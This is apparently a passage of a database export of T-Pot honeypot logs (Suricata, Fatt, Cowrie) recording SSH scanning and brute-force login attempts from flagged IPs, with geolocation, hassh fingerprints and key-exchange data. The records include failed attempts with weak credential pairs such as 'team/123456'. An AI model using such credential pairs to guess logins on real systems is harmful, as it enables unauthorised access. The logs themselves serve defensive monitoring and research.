"109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
29590	118.70.233.117	109.199.241.180	Suricata	2021-09-20 14:27:32.117581+03	2021-09-20 14:30:04.321553+03	{"_id": "qwb2AnwBvYTbRNuEDzZ2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "118.70.233.117", "asn": 18403, "as_org": "The Corporation for Financing & Promoting Technology", "latitude": 21.0313, "location": {"lat": 21.0313, "lon": 105.8516}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Hanoi", "longitude": 105.8516, "region_code": "HN", "region_name": "Hanoi", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "118.70.233.117", "dest_ip": "192.168.20.116", "flow_id": 531394562574455, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 45154, "dest_port": 22, "timestamp": "2021-09-20T11:27:32.117581Z", "@timestamp": "2021-09-20T11:27:32.117Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
29591	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:26:54.000455+03	2021-09-20 14:30:04.322554+03	{"_id": "qgb2AnwBvYTbRNuEDzZ2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:25:52.544593+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "61.133.192.126", "flow_id": 2017382373543761, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 60719, "timestamp": "2021-09-20T11:26:54.000455Z", "@timestamp": "2021-09-20T11:26:54.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
29592	118.70.233.117	109.199.241.180	Fatt	2021-09-20 14:27:32.117685+03	2021-09-20 14:30:04.323553+03	{"_id": "rQb2AnwBvYTbRNuEEDae", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "118.70.233.117", "asn": 18403, "as_org": "The Corporation for Financing & Promoting Technology", "latitude": 21.0313, "location": {"lat": 21.0313, "lon": 105.8516}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Hanoi", "longitude": 105.8516, "region_code": "HN", "region_name": "Hanoi", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "118.70.233.117", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 45154, "dest_port": 22, "timestamp": "2021-09-20T11:27:32.117685", "@timestamp": "2021-09-20T11:27:32.117Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
29593	118.70.233.117	109.199.241.180	Cowrie	2021-09-20 14:27:33.106423+03	2021-09-20 14:30:04.32555+03	{"_id": "rwb2AnwBvYTbRNuEETar", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "118.70.233.117", "asn": 18403, "as_org": "The Corporation for Financing & Promoting Technology", "latitude": 21.0313, "location": {"lat": 21.0313, "lon": 105.8516}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Hanoi", "longitude": 105.8516, "region_code": "HN", "region_name": "Hanoi", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "118.70.233.117", "eventid": "cowrie.login.failed", "message": "login attempt [team/123456] failed", "session": "95e95a39579c", "@version": "1", "password": "123456", "username": "team", "timestamp": "2021-09-20T11:27:33.106423Z", "@timestamp": "2021-09-20T11:27:33.106Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29594	118.70.233.117	109.199.241.180	Cowrie	2021-09-20 14:27:34.331197+03	2021-09-20 14:30:04.326524+03	{"_id": "sAb2AnwBvYTbRNuEGTZ9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "118.70.233.117", "asn": 18403, "as_org": "The Corporation for Financing & Promoting Technology", "latitude": 21.0313, "location": {"lat": 21.0313, "lon": 105.8516}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Hanoi", "longitude": 105.8516, "region_code": "HN", "region_name": "Hanoi", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "118.70.233.117", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "95e95a39579c", "@version": "1", "duration": 2.4335830211639404, "timestamp": "2021-09-20T11:27:34.331197Z", "@timestamp": "2021-09-20T11:27:34.331Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29595	118.70.233.117	109.199.241.180	Suricata	2021-09-20 14:27:32.117685+03	2021-09-20 14:30:04.327556+03	{"_id": "rAb2AnwBvYTbRNuEDzZ3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:27:31.673911+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "118.70.233.117", "asn": 18403, "as_org": "The Corporation for Financing & Promoting Technology", "latitude": 21.0313, "location": {"lat": 21.0313, "lon": 105.8516}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Hanoi", "longitude": 105.8516, "region_code": "HN", "region_name": "Hanoi", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "118.70.233.117", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 531394562574455, "payload": "AAADzAYUUaivjtMuNApbxTS4Uvgh0AAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 45154, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:27:32.117685Z", "@timestamp": "2021-09-20T11:27:32.117Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......Q.....4\\n[.4.R.!....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
29596	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:27:31.898593+03	2021-09-20 14:30:04.328555+03	{"_id": "rgb2AnwBvYTbRNuEEDae", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "118.70.233.117", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 45154, "timestamp": "2021-09-20T11:27:31.898593", "@timestamp": "2021-09-20T11:27:31.898Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29597	1.117.219.217	109.199.241.180	Fatt	2021-09-20 14:27:28.53084+03	2021-09-20 14:30:04.330554+03	{"_id": "mAb2AnwBvYTbRNuEADb7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "1.117.219.217", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 49172, "dest_port": 22, "timestamp": "2021-09-20T11:27:28.530840", "@timestamp": "2021-09-20T11:27:28.530Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
29598	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:27:28.271589+03	2021-09-20 14:30:04.331525+03	{"_id": "mgb2AnwBvYTbRNuEAjYJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 1.117.219.217:49172 (192.168.176.2:22) [session: 0601168e85d3]", "session": "0601168e85d3", "@version": "1", "protocol": "ssh", "src_port": 49172, "dest_port": 22, "timestamp": "2021-09-20T11:27:28.271589Z", "@timestamp": "2021-09-20T11:27:28.271Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
29599	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:27:28.274549+03	2021-09-20 14:30:04.333554+03	{"_id": "mwb2AnwBvYTbRNuEAjYJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "0601168e85d3", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:27:28.274549Z", "@timestamp": "2021-09-20T11:27:28.274Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
29600	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:27:28.531472+03	2021-09-20 14:30:04.334551+03	{"_id": "nAb2AnwBvYTbRNuEAjYJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "0601168e85d3", "@version": "1", "timestamp": "2021-09-20T11:27:28.531472Z", "@timestamp": "2021-09-20T11:27:28.531Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
29601	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:27:29.677252+03	2021-09-20 14:30:04.335553+03	{"_id": "ngb2AnwBvYTbRNuEBTby", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.login.failed", "message": "login attempt [operador/123] failed", "session": "0601168e85d3", "@version": "1", "password": "123", "username": "operador", "timestamp": "2021-09-20T11:27:29.677252Z", "@timestamp": "2021-09-20T11:27:29.677Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29602	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:27:30.93803+03	2021-09-20 14:30:04.337553+03	{"_id": "nwb2AnwBvYTbRNuECTba", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "0601168e85d3", "@version": "1", "duration": 2.6637566089630127, "timestamp": "2021-09-20T11:27:30.938030Z", "@timestamp": "2021-09-20T11:27:30.938Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29603	1.117.219.217	109.199.241.180	Suricata	2021-09-20 14:27:28.529923+03	2021-09-20 14:30:04.338553+03	{"_id": "lwb1AnwBvYTbRNuE_zbV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "1.117.219.217", "dest_ip": "192.168.20.116", "flow_id": 1024620016714192, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 49172, "dest_port": 22, "timestamp": "2021-09-20T11:27:28.529923Z", "@timestamp": "2021-09-20T11:27:28.529Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
